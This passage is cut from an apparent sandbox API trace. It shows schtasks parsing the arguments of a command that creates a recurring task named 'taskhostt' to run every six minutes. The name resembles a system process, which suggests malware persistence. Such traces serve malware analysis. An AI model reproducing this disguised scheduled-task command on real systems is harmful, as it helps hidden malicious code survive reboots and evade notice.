| out: _Buffer="|s|") returned 3 [0142.450] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|tn|") returned 4 [0142.450] lstrlenW (lpString="|s|") returned 3 [0142.450] lstrlenW (lpString="|tn|") returned 4 [0142.450] SetLastError (dwErrCode=0x490) [0142.450] lstrlenW (lpString="u") returned 1 [0142.450] lstrlenW (lpString="u") returned 1 [0142.450] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.450] lstrlenW (lpString="tn") returned 2 [0142.450] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.450] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|u|") returned 3 [0142.450] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|tn|") returned 4 [0142.450] lstrlenW (lpString="|u|") returned 3 [0142.450] lstrlenW (lpString="|tn|") returned 4 [0142.450] SetLastError (dwErrCode=0x490) [0142.450] lstrlenW (lpString="p") returned 1 [0142.450] lstrlenW (lpString="p") returned 1 [0142.450] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.450] lstrlenW (lpString="tn") returned 2 [0142.451] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.451] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|p|") returned 3 [0142.451] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|tn|") returned 4 [0142.451] lstrlenW (lpString="|p|") returned 3 [0142.451] lstrlenW (lpString="|tn|") returned 4 [0142.451] SetLastError (dwErrCode=0x490) [0142.451] lstrlenW (lpString="ru") returned 2 [0142.451] lstrlenW (lpString="ru") returned 2 [0142.451] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.451] lstrlenW (lpString="tn") returned 2 [0142.451] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.451] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|ru|") returned 4 [0142.451] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|tn|") returned 4 [0142.451] lstrlenW (lpString="|ru|") returned 4 [0142.451] lstrlenW (lpString="|tn|") returned 4 [0142.451] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0142.451] SetLastError (dwErrCode=0x490) [0142.451] lstrlenW (lpString="rp") returned 2 [0142.451] lstrlenW (lpString="rp") returned 2 [0142.451] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.451] lstrlenW (lpString="tn") returned 2 [0142.452] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.452] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|rp|") returned 4 [0142.452] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|tn|") returned 4 [0142.452] lstrlenW (lpString="|rp|") returned 4 [0142.452] lstrlenW (lpString="|tn|") returned 4 [0142.452] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0142.452] SetLastError (dwErrCode=0x490) [0142.452] lstrlenW (lpString="sc") returned 2 [0142.452] lstrlenW (lpString="sc") returned 2 [0142.452] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.452] lstrlenW (lpString="tn") returned 2 [0142.452] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.452] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|sc|") returned 4 [0142.452] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|tn|") returned 4 [0142.452] lstrlenW (lpString="|sc|") returned 4 [0142.452] lstrlenW (lpString="|tn|") returned 4 [0142.452] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0142.452] SetLastError (dwErrCode=0x490) [0142.452] lstrlenW (lpString="mo") returned 2 [0142.452] lstrlenW (lpString="mo") returned 2 [0142.452] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.452] lstrlenW (lpString="tn") returned 2 [0142.452] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.452] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|mo|") returned 4 [0142.453] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|tn|") returned 4 [0142.453] lstrlenW (lpString="|mo|") returned 4 [0142.453] lstrlenW (lpString="|tn|") returned 4 [0142.453] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0142.453] SetLastError (dwErrCode=0x490) [0142.453] lstrlenW (lpString="d") returned 1 [0142.453] lstrlenW (lpString="d") returned 1 [0142.453] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.453] lstrlenW (lpString="tn") returned 2 [0142.453] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.453] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|d|") returned 3 [0142.453] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|tn|") returned 4 [0142.453] lstrlenW (lpString="|d|") returned 3 [0142.453] lstrlenW (lpString="|tn|") returned 4 [0142.453] SetLastError (dwErrCode=0x490) [0142.453] lstrlenW (lpString="m") returned 1 [0142.453] lstrlenW (lpString="m") returned 1 [0142.453] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.453] lstrlenW (lpString="tn") returned 2 [0142.453] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.453] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|m|") returned 3 [0142.453] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|tn|") returned 4 [0142.453] lstrlenW (lpString="|m|") returned 3 [0142.453] lstrlenW (lpString="|tn|") returned 4 [0142.453] SetLastError (dwErrCode=0x490) [0142.453] lstrlenW (lpString="i") returned 1 [0142.453] lstrlenW (lpString="i") returned 1 [0142.453] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.454] lstrlenW (lpString="tn") returned 2 [0142.454] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.454] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|i|") returned 3 [0142.454] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|tn|") returned 4 [0142.454] lstrlenW (lpString="|i|") returned 3 [0142.454] lstrlenW (lpString="|tn|") returned 4 [0142.454] SetLastError (dwErrCode=0x490) [0142.454] lstrlenW (lpString="tn") returned 2 [0142.454] lstrlenW (lpString="tn") returned 2 [0142.454] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.454] lstrlenW (lpString="tn") returned 2 [0142.454] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.454] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|tn|") returned 4 [0142.454] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|tn|") returned 4 [0142.454] lstrlenW (lpString="|tn|") returned 4 [0142.454] lstrlenW (lpString="|tn|") returned 4 [0142.454] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0142.454] SetLastError (dwErrCode=0x0) [0142.454] SetLastError (dwErrCode=0x0) [0142.454] lstrlenW (lpString="taskhostt") returned 9 [0142.454] lstrlenW (lpString="-/") returned 2 [0142.454] StrChrIW (lpStart="-/", wMatch=0x74) returned 0x0 [0142.454] SetLastError (dwErrCode=0x490) [0142.454] SetLastError (dwErrCode=0x490) [0142.454] SetLastError (dwErrCode=0x0) [0142.454] lstrlenW (lpString="taskhostt") returned 9 [0142.454] StrChrIW (lpStart="taskhostt", wMatch=0x3a) returned 0x0 [0142.455] SetLastError (dwErrCode=0x490) [0142.455] SetLastError (dwErrCode=0x0) [0142.455] lstrlenW (lpString="taskhostt") returned 9 [0142.455] SetLastError (dwErrCode=0x0) [0142.455] SetLastError (dwErrCode=0x0) [0142.455] lstrlenW (lpString="/sc") returned 3 [0142.455] lstrlenW (lpString="-/") returned 2 [0142.455] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0142.455] lstrlenW (lpString="create") returned 6 [0142.455] lstrlenW (lpString="create") returned 6 [0142.455] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.455] lstrlenW (lpString="sc") returned 2 [0142.455] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.455] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|create|") returned 8 [0142.455] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|sc|") returned 4 [0142.455] lstrlenW (lpString="|create|") returned 8 [0142.455] lstrlenW (lpString="|sc|") returned 4 [0142.455] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0142.455] SetLastError (dwErrCode=0x490) [0142.455] lstrlenW (lpString="?") returned 1 [0142.455] lstrlenW (lpString="?") returned 1 [0142.455] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.455] lstrlenW (lpString="sc") returned 2 [0142.455] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.455] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|?|") returned 3 [0142.455] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|sc|") returned 4 [0142.455] lstrlenW (lpString="|?|") returned 3 [0142.455] lstrlenW (lpString="|sc|") returned 4 [0142.455] SetLastError (dwErrCode=0x490) [0142.456] lstrlenW (lpString="s") returned 1 [0142.456] lstrlenW (lpString="s") returned 1 [0142.456] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.456] lstrlenW (lpString="sc") returned 2 [0142.456] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.456] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|s|") returned 3 [0142.456] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|sc|") returned 4 [0142.456] lstrlenW (lpString="|s|") returned 3 [0142.456] lstrlenW (lpString="|sc|") returned 4 [0142.456] SetLastError (dwErrCode=0x490) [0142.456] lstrlenW (lpString="u") returned 1 [0142.456] lstrlenW (lpString="u") returned 1 [0142.456] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.456] lstrlenW (lpString="sc") returned 2 [0142.456] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.456] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|u|") returned 3 [0142.456] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|sc|") returned 4 [0142.456] lstrlenW (lpString="|u|") returned 3 [0142.456] lstrlenW (lpString="|sc|") returned 4 [0142.456] SetLastError (dwErrCode=0x490) [0142.456] lstrlenW (lpString="p") returned 1 [0142.456] lstrlenW (lpString="p") returned 1 [0142.456] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.456] lstrlenW (lpString="sc") returned 2 [0142.456] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.456] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|p|") returned 3 [0142.457] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|sc|") returned 4 [0142.457] lstrlenW (lpString="|p|") returned 3 [0142.457] lstrlenW (lpString="|sc|") returned 4 [0142.457] SetLastError (dwErrCode=0x490) [0142.457] lstrlenW (lpString="ru") returned 2 [0142.457] lstrlenW (lpString="ru") returned 2 [0142.457] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.457] lstrlenW (lpString="sc") returned 2 [0142.457] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.457] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|ru|") returned 4 [0142.457] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|sc|") returned 4 [0142.457] lstrlenW (lpString="|ru|") returned 4 [0142.457] lstrlenW (lpString="|sc|") returned 4 [0142.457] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0142.457] SetLastError (dwErrCode=0x490) [0142.457] lstrlenW (lpString="rp") returned 2 [0142.457] lstrlenW (lpString="rp") returned 2 [0142.457] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.457] lstrlenW (lpString="sc") returned 2 [0142.457] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.457] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|rp|") returned 4 [0142.457] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|sc|") returned 4 [0142.457] lstrlenW (lpString="|rp|") returned 4 [0142.457] lstrlenW (lpString="|sc|") returned 4 [0142.457] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0142.457] SetLastError (dwErrCode=0x490) [0142.457] lstrlenW (lpString="sc") returned 2 [0142.457] lstrlenW (lpString="sc") returned 2 [0142.458] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.458] lstrlenW (lpString="sc") returned 2 [0142.458] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.458] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|sc|") returned 4 [0142.458] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|sc|") returned 4 [0142.458] lstrlenW (lpString="|sc|") returned 4 [0142.458] lstrlenW (lpString="|sc|") returned 4 [0142.458] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0142.458] SetLastError (dwErrCode=0x0) [0142.458] SetLastError (dwErrCode=0x0) [0142.458] lstrlenW (lpString="MINUTE") returned 6 [0142.458] lstrlenW (lpString="-/") returned 2 [0142.458] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0142.458] SetLastError (dwErrCode=0x490) [0142.458] SetLastError (dwErrCode=0x490) [0142.458] SetLastError (dwErrCode=0x0) [0142.458] lstrlenW (lpString="MINUTE") returned 6 [0142.458] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0142.458] SetLastError (dwErrCode=0x490) [0142.458] SetLastError (dwErrCode=0x0) [0142.458] GetProcessHeap () returned 0x420000 [0142.458] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x18) returned 0x43d560 [0142.458] _memicmp (_Buf1=0x43d560, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.458] lstrlenW (lpString="MINUTE") returned 6 [0142.458] GetProcessHeap () returned 0x420000 [0142.458] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0xe) returned 0x43d580 [0142.458] lstrlenW (lpString="MINUTE") returned 6 [0142.458] lstrlenW (lpString=" \x09") returned 2 [0142.458] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0142.459] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0142.459] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0142.459] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0142.459] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0142.459] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0142.459] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0142.459] GetLastError () returned 0x0 [0142.459] lstrlenW (lpString="MINUTE") returned 6 [0142.459] lstrlenW (lpString="MINUTE") returned 6 [0142.459] SetLastError (dwErrCode=0x0) [0142.459] SetLastError (dwErrCode=0x0) [0142.459] lstrlenW (lpString="/mo") returned 3 [0142.459] lstrlenW (lpString="-/") returned 2 [0142.459] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0142.459] lstrlenW (lpString="create") returned 6 [0142.459] lstrlenW (lpString="create") returned 6 [0142.459] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.459] lstrlenW (lpString="mo") returned 2 [0142.459] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.459] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|create|") returned 8 [0142.459] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|mo|") returned 4 [0142.459] lstrlenW (lpString="|create|") returned 8 [0142.459] lstrlenW (lpString="|mo|") returned 4 [0142.459] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0142.459] SetLastError (dwErrCode=0x490) [0142.459] lstrlenW (lpString="?") returned 1 [0142.459] lstrlenW (lpString="?") returned 1 [0142.459] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.460] lstrlenW (lpString="mo") returned 2 [0142.460] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.460] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|?|") returned 3 [0142.460] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|mo|") returned 4 [0142.460] lstrlenW (lpString="|?|") returned 3 [0142.460] lstrlenW (lpString="|mo|") returned 4 [0142.460] SetLastError (dwErrCode=0x490) [0142.460] lstrlenW (lpString="s") returned 1 [0142.460] lstrlenW (lpString="s") returned 1 [0142.460] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.460] lstrlenW (lpString="mo") returned 2 [0142.460] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.460] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|s|") returned 3 [0142.460] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|mo|") returned 4 [0142.460] lstrlenW (lpString="|s|") returned 3 [0142.460] lstrlenW (lpString="|mo|") returned 4 [0142.460] SetLastError (dwErrCode=0x490) [0142.460] lstrlenW (lpString="u") returned 1 [0142.460] lstrlenW (lpString="u") returned 1 [0142.460] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.460] lstrlenW (lpString="mo") returned 2 [0142.460] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.460] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|u|") returned 3 [0142.460] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|mo|") returned 4 [0142.460] lstrlenW (lpString="|u|") returned 3 [0142.460] lstrlenW (lpString="|mo|") returned 4 [0142.460] SetLastError (dwErrCode=0x490) [0142.461] lstrlenW (lpString="p") returned 1 [0142.461] lstrlenW (lpString="p") returned 1 [0142.461] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.461] lstrlenW (lpString="mo") returned 2 [0142.461] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.461] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|p|") returned 3 [0142.461] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|mo|") returned 4 [0142.461] lstrlenW (lpString="|p|") returned 3 [0142.461] lstrlenW (lpString="|mo|") returned 4 [0142.461] SetLastError (dwErrCode=0x490) [0142.461] lstrlenW (lpString="ru") returned 2 [0142.461] lstrlenW (lpString="ru") returned 2 [0142.461] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.461] lstrlenW (lpString="mo") returned 2 [0142.461] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.461] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|ru|") returned 4 [0142.461] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|mo|") returned 4 [0142.461] lstrlenW (lpString="|ru|") returned 4 [0142.461] lstrlenW (lpString="|mo|") returned 4 [0142.461] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0142.461] SetLastError (dwErrCode=0x490) [0142.461] lstrlenW (lpString="rp") returned 2 [0142.461] lstrlenW (lpString="rp") returned 2 [0142.461] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.461] lstrlenW (lpString="mo") returned 2 [0142.461] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.462] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|rp|") returned 4 [0142.462] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|mo|") returned 4 [0142.462] lstrlenW (lpString="|rp|") returned 4 [0142.462] lstrlenW (lpString="|mo|") returned 4 [0142.462] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0142.462] SetLastError (dwErrCode=0x490) [0142.462] lstrlenW (lpString="sc") returned 2 [0142.462] lstrlenW (lpString="sc") returned 2 [0142.462] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.462] lstrlenW (lpString="mo") returned 2 [0142.462] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.462] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|sc|") returned 4 [0142.462] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|mo|") returned 4 [0142.462] lstrlenW (lpString="|sc|") returned 4 [0142.462] lstrlenW (lpString="|mo|") returned 4 [0142.462] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0142.462] SetLastError (dwErrCode=0x490) [0142.462] lstrlenW (lpString="mo") returned 2 [0142.462] lstrlenW (lpString="mo") returned 2 [0142.462] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.462] lstrlenW (lpString="mo") returned 2 [0142.462] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.462] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|mo|") returned 4 [0142.462] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|mo|") returned 4 [0142.463] lstrlenW (lpString="|mo|") returned 4 [0142.463] lstrlenW (lpString="|mo|") returned 4 [0142.463] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0142.463] SetLastError (dwErrCode=0x0) [0142.463] SetLastError (dwErrCode=0x0) [0142.463] lstrlenW (lpString="6") returned 1 [0142.463] SetLastError (dwErrCode=0x490) [0142.463] SetLastError (dwErrCode=0x0) [0142.463] lstrlenW (lpString="6") returned 1 [0142.463] StrChrIW (lpStart="6", wMatch=0x3a) returned 0x0 [0142.463] SetLastError (dwErrCode=0x490) [0142.463] SetLastError (dwErrCode=0x0) [0142.463] _memicmp (_Buf1=0x43d560, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.463] lstrlenW (lpString="6") returned 1 [0142.463] lstrlenW (lpString="6") returned 1 [0142.463] lstrlenW (lpString=" \x09") returned 2 [0142.463] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0142.463] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0142.463] GetLastError () returned 0x0 [0142.463] lstrlenW (lpString="6") returned 1 [0142.463] lstrlenW (lpString="6") returned 1 [0142.463] GetProcessHeap () returned 0x420000 [0142.463] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x4) returned 0x43b990 [0142.463] SetLastError (dwErrCode=0x0) [0142.463] SetLastError (dwErrCode=0x0) [0142.463] lstrlenW (lpString="/tr") returned 3 [0142.463] lstrlenW (lpString="-/") returned 2 [0142.463] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0142.463] lstrlenW (lpString="create") returned 6 [0142.463] lstrlenW (lpString="create") returned 6 [0142.463] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.464] lstrlenW (lpString="tr") returned 2 [0142.464] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.464] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|create|") returned 8 [0142.464] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|tr|") returned 4 [0142.464] lstrlenW (lpString="|create|") returned 8 [0142.464] lstrlenW (lpString="|tr|") returned 4 [0142.464] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0142.464] SetLastError (dwErrCode=0x490) [0142.464] lstrlenW (lpString="?") returned 1 [0142.464] lstrlenW (lpString="?") returned 1 [0142.464] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.464] lstrlenW (lpString="tr") returned 2 [0142.464] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.464] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|?|") returned 3 [0142.464] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|tr|") returned 4 [0142.464] lstrlenW 